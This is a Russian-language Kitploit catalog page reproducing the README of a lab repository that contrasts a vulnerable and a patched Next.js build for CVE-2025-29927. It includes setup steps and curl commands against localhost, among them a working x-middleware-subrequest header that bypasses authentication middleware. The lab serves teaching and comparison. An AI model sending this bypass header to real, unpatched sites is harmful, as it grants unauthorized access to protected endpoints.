Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nextjs-cve-2025-29927 — vulnerable-nextjs-14-CVE-2025-29927 | Kitploit
Инструменты/GitHubGitHub/yeondg/nextjs-cve-2025-29927
Аутентификация и авторизацияАнализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubyeondg/nextjs-cve-2025-29927

nextjs-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость мидлваре Next.js CVE-2025-29927

Этот репозиторий — монорепозиторий, позволяющий сравнить уязвимость CVE-2025-29927 мидлваре в версиях Next.js 15.2.3 и 15.1.7.

Описание уязвимости

CVE-2025-29927 — это уязвимость безопасности, обнаруженная в мидлваре Next.js, которая позволяет обойти мидлваре аутентификации с помощью заголовка x-middleware-subrequest. Уязвимость затрагивает следующие версии:

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

Эти версии были исправлены путём обновления до соответствующих патч-версий.

Инструкция по запуску

  1. Клонируйте репозиторий.
  2. Установите зависимости: pnpm install
  3. Запустите сервер разработки: pnpm dev
  4. Перейдите к каждому приложению
  • Исправленная версия (15.2.3): http://localhost:3000
  • Уязвимая версия (15.1.7): http://localhost:3001
  1. При попытке доступа к /api/protected без токена доступ будет отклонён.
root@kitploit:~
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
  1. При предоставлении действительного токена доступ к защищённому эндпоинту будет успешным.
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
  1. Обход мидлваре с использованием уязвимости.
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Структура проекта

root@kitploit:~
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # уязвимая версия
│   └── next15_2_3/  # исправленная версия
├── packages/
│   └── ui/          # общие UI-компоненты
└── README.md

Ссылки

  • Блог Vercel
  • YouTube DevStefanCho
  • https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
  • https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
  • https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  • https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
Скачать инструмент